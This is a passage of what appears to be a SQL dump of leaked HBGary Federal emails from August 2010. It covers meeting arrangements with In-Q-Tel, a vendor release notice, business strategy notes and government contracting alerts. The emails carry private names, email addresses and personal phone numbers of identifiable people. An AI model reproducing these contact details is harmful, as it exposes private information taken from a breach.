6:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI am going to pitch the threat intel capability. Tmc, fingerprint, social.What else?Sent from my iPhoneBegin forwarded message:\r\nFrom: &quot;McGovern, Mark&quot; &lt;MMcGovern@iqt.org&gt;Date: August 2, 2010 7:59:59 PM EDT\r\nTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;, &quot;&#39;Jeff Castelli&#39;&quot; &lt;JeffCastelli@phaseone.net&gt;\r\nSubject: RE: IntroAaron\r\n I’d be happy to meet you at the CIA HQ cafeteria – if that works for you.\r\nIQT spaces are intentionally all non-SCIF. \r\nNext week is probably best – Monday or Tues morning are both open.If either work for you let me know.  \r\n markmc\r\n=======================Mark McGovernIn-Q-TelAccelerating Innovation for the Intelligence Community\r\n703.248.3077  \r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 02, 2010 3:30 PMTo: Jeff CastelliCc: McGovern, MarkSubject: Re: Intro Thanks Jeff,\r\n Mark,I would very much like to come in and discuss some ideas with you related to IO, Social Media, Threat Intelligence, and Incident Response and at least get your take/opinion, and then if any of them sufficiently interest you we can go from there.\r\n While HBGary and HBGary Federal are very close we are two separate companies and we are focused on slightly different things.\r\n If possible could we meet in a cleared space?  I have a badge. Aaron \r\nOn Aug 2, 2010, at 3:19 PM, Jeff Castelli wrote:Aaron, pls meet Mark McGovern, who runs the cyber practice at IQT.  (Mark, meet Aaron Barr, CEO of HB Gary Federal.)  Mark advises that he has met with and knows well the HB Gary founders, so he is happy to meet with you to discuss what’s unique and interesting at HB Gary Federal.  Over to you guys to take it from here.  Tks, Mark!  Take care,\r\n Jeff\r\n  \r\nVP, Director Washington Operations\r\nPhaseOne Communications\r\n email:  jeffcastelli@phaseone.net\r\nOffice:     571-830-6816\r\nFax:        571-830-6819\r\nCell:       310 612 6413 \r\nThis email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n \r\n  Aaron Barr\r\nCEOHBGary Federal Inc.\r\n \r\n',3163,'aaron_hbgary_com/3163.html'),(9498,'2010-08-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007309.M762784P14101Q4353.eml','all@hbgary.com','FW: Digital Guardian 5.3.1 is officially released!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAs of Today Verdasys supports\r\nDDNA\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Marc Meunier\r\n[mailto:mmeunier@verdasys.com] \r\nSent: Monday, August 02, 2010 4:09 PM\r\nTo: \'Penny Leavy-Hoglund\'\r\nSubject: Digital Guardian 5.3.1 is officially released!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nFYI, As of today, our customers\r\ncan actually buy our integrated product.\r\n\r\n&nbsp;\r\n\r\nMy apology for the delay on the\r\nWebex presentation recording. The sound was mangled and I have to redo it. My\r\nobjective is to have that available by the end of the week.\r\n\r\n&nbsp;\r\n\r\nVery best,\r\n\r\n&nbsp;\r\n\r\nMarc-A.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark Thompson \r\nSent: Monday, August 02, 2010 5:13 PM\r\nTo: all\r\nSubject: Digital Guardian 5.3.1 is officially released!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nVerdasys is pleased to announce the release of Digital\r\nGuardian 5.3.1.&nbsp; DG 5.3.1 includes support for several new Windows\r\noperating systems as well as more than 100 other new features and\r\nenhancements.&nbsp; Among the most important of these changes are:\r\n\r\n&nbsp;\r\n\r\nNew Operating System Support\r\n\r\nWindows 7 (32 and 64 bit) including Core agent, ACI, ADI,\r\nAFE, AME, and RME\r\n\r\nWindows Server 2008 R2 (64 bit) including Core agent, ACI,\r\nADI, AFE, AME, and RME\r\n\r\nWindows Vista (64 bit) including Core agent, ACI, ADI, AFE,\r\nAME, and RME &#8211; beta support\r\n\r\n&nbsp;\r\n\r\nAdditional Module Support (Core agent and ACI were\r\nsupported in DG 5.3)\r\n\r\nWindows Vista (32 bit) now supports ADI, AFE, AME, and RME\r\n\r\nWindows XP (64 bit) now supports ADI, AFE, AME, and RME\r\n\r\nWindows Server 2003 (64 bit) now supports ADI, AFE, AME, and\r\nRME\r\n\r\n&nbsp;\r\n\r\nNew Module\r\n\r\nDG Advanced Persistent Threat (APT) Module uses memory\r\nscanning and analysis to detect malware and other high risk executables where\r\nit&#8217;s most difficult for them to hide &#8211; memory.\r\n\r\n&nbsp;\r\n\r\nOther Notable Enhancements\r\n\r\nExecution of DG Diagnostic and retrieval of dg-diag and\r\ndg.log files from the DGMC\r\n\r\nImproved encryption performance\r\n\r\nFull monitoring and control for OLE2 actions (insertion of\r\noffice files, etc.)\r\n\r\nDistinct match and watermark inspection added to ADI\r\n\r\nAction causing block now included in alerts\r\n\r\nEmail passwords, session keys and server private key now\r\nencryption in the database\r\n\r\nPrompt Surveys &#8211; create drop down list of responses for\r\njustification prompts\r\n\r\nCompatibility with Microsoft Office 2010 (full support\r\nscheduled for September 2010)\r\n\r\n&nbsp;\r\n\r\nSpecial thanks to Development and QA who have put in a lot\r\nof nights and weekends this summer.\r\n\r\n&nbsp;\r\n\r\nAs most of you have heard, Delivery is carefully controlling\r\nthe release to customers to ensure we can properly support customers&#8217; initial\r\ntesting and deployment.&nbsp; A list of targeted customers has already been\r\nestablished and is being maintained by Delivery.&nbsp; Anyone wishing to give\r\n5.3.1 to customers not already on the target list should contact Lou Reinemann.\r\n\r\n&nbsp;\r\n\r\nMark\r\n\r\n&nbsp;\r\n\r\nMark\r\nThompson\r\n\r\nVice\r\nPresident, Product Management\r\n\r\nVerdasys,\r\nInc.\r\n\r\ne:\r\nmthompson@verdasys.com\r\n\r\no:\r\n(781) 902-5606\r\n\r\nc:\r\n(339) 222-1674\r\n\r\nf:&nbsp;\r\n(781) 788-8188\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3647,'aaron_hbgary_com/3647.html'),(9499,'2010-08-03','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007310.M138457P14101Q4354.eml','\"Barr Aaron\" <aaron@hbgary.com>','Interactive Training | GoToTraining','http://www.gotomeeting.com/fec/training/interactive_training?step=3\r\n\r\nThis may be worth experimenting with for delivering training. \r\n\r\n\r\n',9482,'aaron_hbgary_com/9482.html'),(9500,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007310.M386457P14101Q4355.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Artwork','Penny,\r\n\r\nDo you want to get some artwork done for HBGary.  The artwork on her site isnt completely representative.  She is very talented and can draw up anything you want.  She did characters for our entire team back in the day.  She can\'t wait to come work for HBGary at some point.  If you want to get some work done either for the website or something else let me know.\r\n\r\nhttp://www.goldilockz.com/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16489,'aaron_hbgary_com/16489.html'),(9501,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007310.M594403P14101Q4356.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: All the pieces','Worth a conversation when I come out.\r\n\r\nSent from my iPad\r\n\r\nOn Aug 2, 2010, at 7:51 PM, Greg Hoglund  wrote:\r\n\r\n> Yeah, which is why I asked you to consider the CEO position.\r\n> \r\n> -Greg\r\n> \r\n> \r\n> On Monday, August 2, 2010, Aaron Barr  wrote:\r\n>> And you realize you have all the starting pieces.\r\n>> \r\n>> Threat intelligence: tmc and fingerprint and social/open source methodology and Palantir\r\n>> \r\n>> Incident response: active defense and responder and fidelis and end games\r\n>> \r\n>> Io: exploitation, influence and social media\r\n>> \r\n>> It just all needs to be put together.  Look at my first data sheet.  That is what I was trying to so but I don\'t have the people yet or all the pieces\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n',7326,'aaron_hbgary_com/7326.html'),(9502,'2010-08-03','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007310.M847533P14101Q4357.eml','\"Barr Aaron\" <aaron@hbgary.com>','Training','GoToTraining does not have attendee-billing functions built in. However, you do have the option to request payment in your invitation and manually approve session attendees, restricting registration confirmation to those that have issued payments.\r\n',14913,'aaron_hbgary_com/14913.html'),(9503,'2010-08-03','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007311.M297010P14101Q4359.eml','\"Barr Aaron\" <aaron@hbgary.com>','PRNewswire - ProfNet - Login','https://profnet.prnewswire.com/\r\n\r\nSign up as an expert source, and journalists working on stories will come to you. I heard good things about this in a book I\'m reading. \r\n',5018,'aaron_hbgary_com/5018.html'),(9504,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007311.M58942P14101Q4358.eml','\"McGovern, Mark\" <MMcGovern@iqt.org>','Re: Intro','Great can we do monday morning?Maybe meet in the starbucks?AaronSent from my iPadOn Aug 2, 2010, at 7:59 PM, \"McGovern, Mark\" &lt;MMcGovern@iqt.org&gt; wrote:Aaron&nbsp;I’d be happy to meet you at the CIA HQ cafeteria – if that works for you.IQT spaces are intentionally all non-SCIF.&nbsp;Next week is probably best – Monday or Tues morning are both open.If either work for you let me know.&nbsp; &nbsp;markmc=======================Mark McGovernIn-Q-TelAccelerating Innovation for the Intelligence Community703.248.3077 &nbsp;From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, August 02, 2010 3:30 PMTo: Jeff CastelliCc: McGovern, MarkSubject: Re: Intro&nbsp;Thanks Jeff,&nbsp;Mark,I would very much like to come in and discuss some ideas with you related to IO, Social Media, Threat Intelligence, and Incident Response and at least get your take/opinion, and then if any of them sufficiently interest you we can go from there.&nbsp;While HBGary and HBGary Federal are very close we are two separate companies and we are focused on slightly different things.&nbsp;If possible could we meet in a cleared space? &nbsp;I have a badge.&nbsp;Aaron&nbsp;On Aug 2, 2010, at 3:19 PM, Jeff Castelli wrote:Aaron, pls meet Mark McGovern, who runs the cyber practice at IQT.&nbsp; (Mark, meet Aaron Barr, CEO of HB Gary Federal.)&nbsp; Mark advises that he has met with and knows well the HB Gary founders, so he is happy to meet with you to discuss what’s unique and interesting at HB Gary Federal.&nbsp; Over to you guys to take it from here.&nbsp; Tks, Mark!&nbsp; Take care,&nbsp;Jeff&nbsp;&nbsp;VP, Director Washington OperationsPhaseOne Communications&nbsp;email:&nbsp;&nbsp;jeffcastelli@phaseone.netOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819Cell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413&nbsp;This email is confidential and intended solely for the use of the individual or organization to whom it is addressed. &nbsp;If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it. &nbsp;If you have received this email in error, please notify the sender and delete this email from your system. &nbsp;Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;',12520,'aaron_hbgary_com/12520.html'),(9505,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007311.M723438P14101Q4360.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Discussion','Tom,\r\n\r\nNice to see you today.  As always I will look to build capabilities that make a difference and will look to those organizations that I know to support efforts as they arise.\r\n\r\nI wanted to share a dialog I had with the CEO of HBGary proper regarding the future of cybersecurity....  I would be interested in your thoughts.  I am meeting with InQTel next week, talking with MITRE, and the FBI.  Working to develop a standard for threat intelligence, a threat repository, a methodology to share information on threats.  There are not many people that seem to understand both security and path of technology.  Threats are llke, they take the path of least resistance, but inevitably with time, they are successful.  We still believe we can build better mousetraps... we can\'t.  The only way to get ahead of the problem is what I discuss below.  I am just struggling to implement.  In Northrop I was too encumbered by a bureaucracy.  In a small business I am, well small.  I know influential people... well you know the challenges.  (PS.  I haven\'t forgot about the news idea, just been busy trying to make payroll. :))  I called today and am waiting to hear back from the contact you gave me.  Greg Hoglund and I are beginning to write a book about the future of technology and security that has this as the skeleton.\r\n\r\n---------------------\r\nThe trajectory of technology = Mobility + Social + Cloud\r\n\r\nThis = perimeterless environment, + promiscuous networking + open PII.\r\n\r\nComputer security is not possible, not remotely given the current trajectory of security.  Even host based behavioral detection can not keep up with this without significant additional capabilities.  I see only two paths to improving this.  As the stakes are raised to organized crime and nation state FIS (Foreign Intelligence Services) anything is possible.  Backbone compromises, Supply Chain compromises, specialized insider threats, legitimate commercial services.\r\n\r\nChoices to better security.\r\nComplete rework of the computer and communications architecture. (not likely and certainly not within 5 years).  There are some technologies short of this that will help; broad distribution and management of personal certs and pervasive encryption.  But the implementation of this is a bugger.  Again long ways away.\r\nor\r\nIntelligence, Incident Response, and IO.\r\n\r\nThe area Incident Response requires some clarification because I don\'t mean it in the traditionally understood sense.  I mean human and system response to abnormal cyber conditions.  I mean system and mission resiliency in the face of compromise and attack.  This requires good intelligence, we can improve human and system response with better intelligence.\r\n\r\nIO requires some intelligence but is more a feeder to intelligence.  All offense all the time.  Forward deployed and embedded capabilities that can give us insight, I&W, knowledge of threats, their intent and capabilities.  This is a blended approach of all of the capabilities available.  Coordinated campaigns\r\n\r\nIntelligence.  This is a bugger.  Some of it because of organizational and bureaucratic boundaries.  Some of it is we just don\'t know how to organize the data.  Threats are complex as we have discussed.  How do you develop a threat focused intelligence capability?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3682,'aaron_hbgary_com/3682.html'),(9506,'2010-08-03','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007311.M998536P14101Q4361.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','DARPA looking to develop iPhone and Android apps, App Store -- Engadget','http://www.engadget.com/2010/03/11/darpa-looking-to-develop-iphone-and-android-apps-app-store/\r\n',5117,'aaron_hbgary_com/5117.html'),(9507,'2010-08-03','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007312.M248239P14101Q4362.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Slashdot News Story | Sun Founders\' Push For Open Source Education','http://news.slashdot.org/story/10/08/02/222200/Sun-Founders-Push-For-Open-Source-Education?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n\r\n\r\nBrilliant idea, and so simple. $8B per year, that\'s nuts. \r\n',12494,'aaron_hbgary_com/12494.html'),(9508,'2010-08-03','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297007312.M549542P14101Q4363.eml','aaron@hbgary.com','Nominations deadline extended - AFCEA International Government Heroine Award','\r\n\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n  \r\n  \r\n    &nbsp;\r\n\r\n		\r\n  &nbsp;\r\n   \r\n  \r\n\r\n  \r\n    Heroines in Technology\r\n      An Awards Gala benefiting the March of Dimes\r\n      Friday, November 12, 2010\r\n      Hyatt Regency Reston\r\n      Nominations deadline extended! Nominations are due by August 20, 2010. \r\n      Since 2001, March of Dimes has conducted Heroines in Technology, a gala to recognize and honor women in the field of technology for their dedication to community service.&nbsp; Heroines in Technology will take place on Friday, November 12, 2010 at the Hyatt Regency Reston in Reston Town Center.&nbsp; This event includes a cocktail reception, dinner, live band and dancing and both live and silent auctions.&nbsp; \r\n      Call for Nominations!\r\n      Do you know a woman who works in the technology industry and exemplifies volunteer service in the community?&nbsp; If so, you can nominate her to become a &ldquo;heroine in technology&rdquo; and be honored at the upcoming gala.&nbsp; At the gala, we will honor the &nbsp;finalists and announce the award winners in the following categories: Individual, NVTC Corporate, Government, Rising Star and Lifetime Achievement. New to the event is the AFCEA International Government Heroine Award, which will recognize women employed in &nbsp;Federal, State or Local Government who exhibit extraordinary volunteerism in endeavors over and above the mandates of their Government role. &nbsp;All award finalists and winners are decided by a committee of past Heroines. \r\n      Click here to submit an award nomination. &nbsp;\r\n            \r\n&nbsp;\r\n      For more information about Heroines in Technology please visit the event website. \r\n      Interested in volunteering? Contact Kate Leib at 703-824-0111 ext. 21 or kleib@marchofdimes.com.       &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\n\">http://www.afcea.org\r\n\r\n    \r\n  \r\n\r\n	  	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6386,'aaron_hbgary_com/6386.html'),(9509,'2010-08-03','\"emil nazzaro\" <emil@bydandassociates.com>','/aaron@hbgary.com/new/1297007312.M928275P14101Q4364.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"David Etue\" <david@etue.net>,\"Aaron Barr\" <aaron@hbgary.com>','Some news from the AFCEA Joint LandWarNet Conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll &#8211;\r\n\r\n&nbsp;\r\n\r\nI had a long conversation with a lieutenant colonel friend from\r\nthe Army National Guard this evening (his wife and I are close&#8230; we worked\r\ntogether and I helped her get a job a few years ago.) &nbsp;Anyway, he&#8217;s\r\nresponsible for network security. &nbsp;He&#8217;s tight with MG Steve Smith,\r\nARFORCYBER and the G-6 IA community.&nbsp; I told him that Bydand was\r\nconsidering adding a couple of associates to give us an IT &#8211; network security\r\ncapability.\r\n\r\n&nbsp;\r\n\r\nHe confided to me that they haven&#8217;t come across a\r\nvendor yet &nbsp;who can deliver the goods and the services and put &#8216;em\r\nall together (policies, solutions, tools, and training) to really make a\r\ndifference in network and cyber security.&nbsp; He says vendors don&#8217;t\r\nknow the applicable security regulations, requirements, processes, or\r\ncertifications, let alone how they relate and he told me some anecdotes to\r\nprove it. &nbsp;He trusts me.&nbsp; He is so frustrated that he is willing to\r\nhelp Bydand get in front of the right people in the Guard and the Army G-6&#8230;\r\nif we could find a vendor or people who we thought could deliver. &nbsp;&nbsp;I\r\nasked him if he&#8217;d take a meeting in the next couple of weeks to talk\r\nabout some pain points and challenges with some people we thought could help and\r\nhe said yes.\r\n\r\n&nbsp;\r\n\r\nSo, we may have the planets and stars aligning for a bona\r\nfide run at this.&nbsp; Let&#8217;s talk more about it next week.&nbsp;\r\nMeantime, I&#8217;ll be seeing my friend again tomorrow.\r\n\r\n&nbsp;\r\n\r\nVr,\r\n\r\n&nbsp;\r\n\r\nEmil\r\n\r\nEmil S. Nazzaro, Partner\r\n\r\nBydand Associates, LLC\r\n\r\n(703) 401-6922 (mobile)\r\n\r\nemil@bydandassociates.com\r\n\r\nwww.bydandassociates.com\r\n\r\n&nbsp;\r\n\r\nBydand Associates is a Veteran-Owned Small Business \r\n\r\n&nbsp;\r\n\r\nThis email (including any attachments) may contain business proprietary/confidential\r\nmaterial for the sole use of the intended recipient(s) and is protected by law.\r\nAny review, use, distribution, or disclosure by others is strictly prohibited.\r\nIf you are not the intended recipient (or authorized to receive for this recipient),please\r\ncontact the sender by reply email and delete all copies of this message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4091,'aaron_hbgary_com/4091.html'),(9510,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007313.M210175P14101Q4365.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FBO Watch List Notifications','Begin forwarded message:From: noreply@fbo.govDate: August 3, 2010 1:06:59 AM MDT\r\nTo: ted@hbgary.comSubject: FBO Watch List NotificationsTuesday, August 03, 2010, 03:06 am\r\nDear Ted H. Vera:This message has been sent to inform you of update(s) to solicitation(s) where you have either expressed vendor interest in the opportunity, or placed the notice on your watchlist.  Please see the details below.\r\nDetails------------------	Top Level Agency: Department of the Army	Office: U.S. Army Intelligence and Security Command\r\n	Location: National Ground Intelligence Center		Solicitation #: W911W510R0010\r\n		Title: R--Irregular Warfare Consolidated Support		Link: https://www.fbo.gov/spg/USA/INSCOM/DASC02/W911W510R0010/listing.html\r\n		  A change has been posted: Aug 02, 2010 3:57 pm\r\n\r\n',5583,'aaron_hbgary_com/5583.html'),(9511,'2010-08-03','arc@westfields.net','/aaron@hbgary.com/new/1297007313.M535224P14101Q4366.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Monday, 08/02/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nNRO-BOLT (Announcement & Document Posting)\r\n\r\n\r\n\r\nNo Activity on CWAN ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6883,'aaron_hbgary_com/6883.html'),(9512,'2010-08-03','arc@westfields.net','/aaron@hbgary.com/new/1297007313.M780623P14101Q4367.eml','federal@hbgary.com','SIGINT Sole Source Business Opportunity Posting','\r\nThe NRO/SIGINT Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPIF/AF. The Effort Type is Other.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional 